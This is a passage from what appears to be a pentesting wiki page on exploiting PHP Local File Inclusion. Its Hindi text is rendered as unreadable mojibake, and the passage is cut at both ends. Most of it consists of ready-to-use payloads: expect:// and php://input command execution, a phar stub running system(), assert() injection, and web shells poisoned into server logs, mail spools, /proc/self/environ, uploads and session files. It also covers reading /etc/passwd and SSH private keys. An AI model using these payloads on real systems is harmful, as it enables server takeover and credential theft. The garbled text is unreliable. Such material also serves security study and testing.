Expect рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

рдЕрдкрдиреЗ рдкреЗрд▓реЛрдб рдХреЛ POST рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

рдПрдХ .phar рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ PHP рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдлрд╝рд╛рдЗрд▓ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП include рдЬреИрд╕реА рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдиреАрдЪреЗ рджрд┐рдпрд╛ рдЧрдпрд╛ PHP рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдПрдХ .phar рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд░рддрд╛ рд╣реИ:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП:

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post. Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system. It was possible to alloc chunks of specific sizes abusing more php filters.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp тАФ Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)

  • file:// тАФ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рддрдХ рдкрд╣реБрдБрдЪ

  • http:// тАФ HTTP(s) URLs рддрдХ рдкрд╣реБрдБрдЪ

  • ftp:// тАФ FTP(s) URLs рддрдХ рдкрд╣реБрдБрдЪ

  • zlib:// тАФ рд╕рдВрдХреБрдЪрди рдзрд╛рд░рд╛рдПрдБ

  • glob:// тАФ рдкреИрдЯрд░реНрди рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкрде рдирд╛рдо рдЦреЛрдЬреЗрдВ (рдпрд╣ рдХреБрдЫ рднреА рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдирд╣реАрдВ рд▓реМрдЯрд╛рддрд╛, рдЗрд╕рд▓рд┐рдП рдпрд╣рд╛рдБ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд╣реИ)

  • ssh2:// тАФ рд╕реБрд░рдХреНрд╖рд┐рдд рд╢реЗрд▓ 2

  • ogg:// тАФ рдСрдбрд┐рдпреЛ рдзрд╛рд░рд╛рдПрдБ (рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ)

LFI via PHP's 'assert'

Local File Inclusion (LFI) рдЬреЛрдЦрд┐рдо PHP рдореЗрдВ 'assert' рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдХрд╛рдлреА рдЕрдзрд┐рдХ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЗ рднреАрддрд░ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╕рдорд╕реНрдпрд╛рдЧреНрд░рд╕реНрдд рд╣реИ рдпрджрд┐ ".." рдЬреИрд╕реЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рд╡рд░реНрдгреЛрдВ рд╡рд╛рд▓рд╛ рдЗрдирдкреБрдЯ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рд▓реЗрдХрд┐рди рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕рд╛рдл рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

рдЬрдмрдХрд┐ рдЗрд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп traversal рдХреЛ рд░реЛрдХрдирд╛ рд╣реИ, рдпрд╣ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реЗрдХреНрдЯрд░ рдмрдирд╛рддрд╛ рд╣реИред рдлрд╝рд╛рдЗрд▓ рд╕рд╛рдордЧреНрд░реА рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

' and die(highlight_file('/etc/passwd')) or '

рдЗрд╕реА рддрд░рд╣, рдордирдорд╛рдиреЗ рд╕рд┐рд╕реНрдЯрдо рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХреЛрдИ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

' and die(system("id")) or '

рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЗрди рдкреЗрд▓реЛрдбреНрд╕ рдХреЛ URL-encode рдХрд░реЗрдВред

рдЕрдиреБрднрд╡реА рд╣реИрдХрд░реНрд╕ рдФрд░ рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд╢рд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HackenProof Discord рд╕рд░реНрд╡рд░ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ!

рд╣реИрдХрд┐рдВрдЧ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рд╣реИрдХрд┐рдВрдЧ рдХреЗ рд░реЛрдорд╛рдВрдЪ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ

рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рд╣реИрдХ рд╕рдорд╛рдЪрд╛рд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рддреЗрдЬрд╝-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ

рдирд╡реАрдирддрдо рдШреЛрд╖рдгрд╛рдПрдБ рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ

рд╣рдорд╕реЗ рдЬреБрдбрд╝реЗрдВ Discord рдкрд░ рдФрд░ рдЖрдЬ рд╣реА рд╢реАрд░реНрд╖ рд╣реИрдХрд░реНрд╕ рдХреЗ рд╕рд╛рде рд╕рд╣рдпреЛрдЧ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВ!

PHP рдмреНрд▓рд╛рдЗрдВрдб рдкрд╛рде рдЯреНрд░реИрд╡рд░реНрд╕рд▓

рдпрд╣ рддрдХрдиреАрдХ рдЙрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк PHP рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдлрд╝рд╛рдЗрд▓ рдкрде рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЖрдк рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдирд╣реАрдВ рджреЗрдЦреЗрдВрдЧреЗ (рдЬреИрд╕реЗ file() рдХрд╛ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдХреЙрд▓) рд▓реЗрдХрд┐рди рд╕рд╛рдордЧреНрд░реА рдирд╣реАрдВ рджрд┐рдЦрд╛рдИ рджреЗрддреАред

рдЗрд╕ рдЕрджреНрднреБрдд рдкреЛрд╕реНрдЯ рдореЗрдВ рдпрд╣ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдХреИрд╕реЗ рдПрдХ рдмреНрд▓рд╛рдЗрдВрдб рдкрд╛рде рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рдХреЛ PHP рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рддреНрд░реБрдЯрд┐ рдУрд░реЗрдХрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рддрдХрдиреАрдХ "UCS-4LE" рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реА рд╣реИ рддрд╛рдХрд┐ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдЗрддрдиреА рдмрдбрд╝реА рд╣реЛ рдЬрд╛рдП рдХрд┐ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЦреЛрд▓рдиреЗ рд╡рд╛рд▓рд╛ PHP рдлрд╝рдВрдХреНрд╢рди рдПрдХ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ред

рдлрд┐рд░, рдкрд╣рд▓реЗ рдЕрдХреНрд╖рд░ рдХреЛ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рд┐рд▓реНрдЯрд░ dechunk рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЕрдиреНрдп рдлрд╝рд┐рд▓реНрдЯрд░ рдЬреИрд╕реЗ base64 рдпрд╛ rot13 рдХреЗ рд╕рд╛рде рдФрд░ рдЕрдВрддрддрдГ рдлрд╝рд┐рд▓реНрдЯрд░ convert.iconv.UCS-4.UCS-4LE рдФрд░ convert.iconv.UTF16.UTF-16BE рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп рдЕрдХреНрд╖рд░реЛрдВ рдХреЛ рд╢реБрд░реБрдЖрдд рдореЗрдВ рд░рдЦрдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХрдордЬреЛрд░ рдлрд╝рдВрдХреНрд╢рди: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (рдХреЗрд╡рд▓ рд▓рдХреНрд╖реНрдп рдкрдврд╝реЗрдВ рдХреЗрд╡рд▓ рдЗрд╕рдХреЗ рд╕рд╛рде), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдкреЛрд╕реНрдЯ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ!

LFI2RCE

рд░рд┐рдореЛрдЯ рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢

рдкрд╣рд▓реЗ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛, рдЗрд╕ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ.

рдЕрдкрд╛рдЪреЗ/рдПрдирдЬрд┐рдирдХреНрд╕ рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

рдпрджрд┐ рдЕрдкрд╛рдЪреЗ рдпрд╛ рдПрдирдЬрд┐рдирдХреНрд╕ рд╕рд░реНрд╡рд░ LFI рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рд╣реИ рддреЛ рдЖрдк рд╢рд╛рдорд┐рд▓ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ /var/log/apache2/access.log рдпрд╛ /var/log/nginx/access.log рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдЬреЗрдВрдЯ рдХреЗ рдЕрдВрджрд░ рдпрд╛ рдПрдХ GET рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдЕрдВрджрд░ рдПрдХ php рд╢реЗрд▓ рд╕реЗрдЯ рдХрд░реЗрдВ рдЬреИрд╕реЗ <?php system($_GET['c']); ?> рдФрд░ рдЙрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП рдбрдмрд▓ рдХреЛрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдмрдЬрд╛рдп рд╕рд╛рдзрд╛рд░рдг рдХреЛрдЯреНрд╕ рдХреЗ, рддреЛ рдбрдмрд▓ рдХреЛрдЯреНрд╕ рдХреЛ "quote;" рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, PHP рд╡рд╣рд╛рдБ рдПрдХ рддреНрд░реБрдЯрд┐ рдлреЗрдВрдХреЗрдЧрд╛ рдФрд░ рдХреБрдЫ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рд╣реЛрдЧрд╛ред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдк рдкреЗрд▓реЛрдб рдХреЛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд▓рд┐рдЦреЗрдВ рдЕрдиреНрдпрдерд╛ PHP рд╣рд░ рдмрд╛рд░ рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╕рдордп рддреНрд░реБрдЯрд┐ рджреЗрдЧрд╛ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рджреВрд╕рд░рд╛ рдЕрд╡рд╕рд░ рдирд╣реАрдВ рд╣реЛрдЧрд╛ред

рдпрд╣ рдЕрдиреНрдп рд▓реЙрдЧ рдореЗрдВ рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ, рд▓реЙрдЧ рдХреЗ рдЕрдВрджрд░ рдХреЛрдб URL рдПрдиреНрдХреЛрдбреЗрдб рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕рд╕реЗ рд╢реЗрд▓ рдирд╖реНрдЯ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╣реЗрдбрд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг "рдмреЗрд╕рд┐рдХ" рдореЗрдВ "user:password" Base64 рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рд▓реЙрдЧ рдХреЗ рдЕрдВрджрд░ рдбрд┐рдХреЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред PHPShell рдХреЛ рдЗрд╕ рд╣реЗрдбрд░ рдХреЗ рдЕрдВрджрд░ рдбрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЕрдиреНрдп рд╕рдВрднрд╛рд╡рд┐рдд рд▓реЙрдЧ рдкрде:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

рдИрдореЗрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

рдПрдХ рдореЗрд▓ рднреЗрдЬреЗрдВ рдПрдХ рдЖрдВрддрд░рд┐рдХ рдЦрд╛рддреЗ (user@localhost) рдкрд░ рдЬрд┐рд╕рдореЗрдВ рдЖрдкрдХрд╛ PHP payload рд╣реЛ рдЬреИрд╕реЗ <?php echo system($_REQUEST["cmd"]); ?> рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдореЗрд▓ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдПрдХ рдкрде рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ /var/mail/<USERNAME> рдпрд╛ /var/spool/mail/<USERNAME>

/proc/*/fd/* рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

  1. рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╢реЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг: 100)

  2. рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ http://example.com/index.php?page=/proc/$PID/fd/$FD, рдЬрд┐рд╕рдореЗрдВ $PID = рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ PID (рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ) рдФрд░ $FD рдлрд╝рд╛рдЗрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ (рдпрд╣ рднреА рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)

/proc/self/environ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

рдПрдХ рд▓реЙрдЧ рдлрд╝рд╛рдЗрд▓ рдХреА рддрд░рд╣, User-Agent рдореЗрдВ payload рднреЗрдЬреЗрдВ, рдпрд╣ /proc/self/environ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрдЧрд╛

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

рдпрджрд┐ рдЖрдк рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдмрд╕ рдЗрд╕рдореЗрдВ рд╢реЗрд▓ рдкреЗрд▓реЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ (рдЬреИрд╕реЗ: <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

рдлрд╛рдЗрд▓ рдХреЛ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдЪрд┐рддреНрд░реЛрдВ/doc/pdf рдХреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╣реИред

рдЬрд╝рд┐рдк рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

рдПрдХ PHP рд╢реЗрд▓ рд╕рдВрдХреБрдЪрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА ZIP рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдПрдХреНрд╕реЗрд╕ рдХрд░реЗрдВ:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╡реЗрдмрд╕рд╛рдЗрдЯ PHP рд╕рддреНрд░ (PHPSESSID) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP рдпреЗ рд╕рддреНрд░ /var/lib/php5/sess\[PHPSESSID]_ рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI рдХрд╛ рдЙрдкрдпреЛрдЧ PHP рд╕рддреНрд░ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

рдпрджрд┐ ssh рд╕рдХреНрд░рд┐рдп рд╣реИ рддреЛ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреМрди рд╕рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ (/proc/self/status & /etc/passwd) рдФрд░ <HOME>/.ssh/id_rsa рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред

Via vsftpd logs

FTP рд╕рд░реНрд╡рд░ vsftpd рдХреЗ рд▓рд┐рдП рд▓реЙрдЧ /var/log/vsftpd.log рдкрд░ рд╕реНрдерд┐рдд рд╣реИрдВред рдЙрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ рдЬрд╣рд╛рдБ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢рди (LFI) рднреЗрджреНрдпрддрд╛ рдореМрдЬреВрдж рд╣реИ, рдФрд░ рдПрдХ рдЙрдЬрд╛рдЧрд░ vsftpd рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдВрднрд╡ рд╣реИ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрджрдореЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  1. рд▓реЙрдЧрд┐рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рджреМрд░рд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдПрдХ PHP рдкреЗрд▓реЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВред

  2. рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдмрд╛рдж, /var/log/vsftpd.log рд╕реЗ рд╕рд░реНрд╡рд░ рд▓реЙрдЧ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП LFI рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

Via php base64 filter (using base64)

рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, PHP base64 рдлрд╝рд┐рд▓реНрдЯрд░ рдХреЗрд╡рд▓ Non-base64 рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рддрд╛ рд╣реИред рдЖрдк рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЬрд╛рдВрдЪ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: рдпрджрд┐ рдЖрдк base64 рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ ".php" рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдмрд╕ "." рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░ рджреЗрдЧрд╛ рдФрд░ base64 рдореЗрдВ "php" рдЬреЛрдбрд╝ рджреЗрдЧрд╛ред рдпрд╣рд╛рдБ рдПрдХ рдЙрджрд╛рд╣рд░рдг 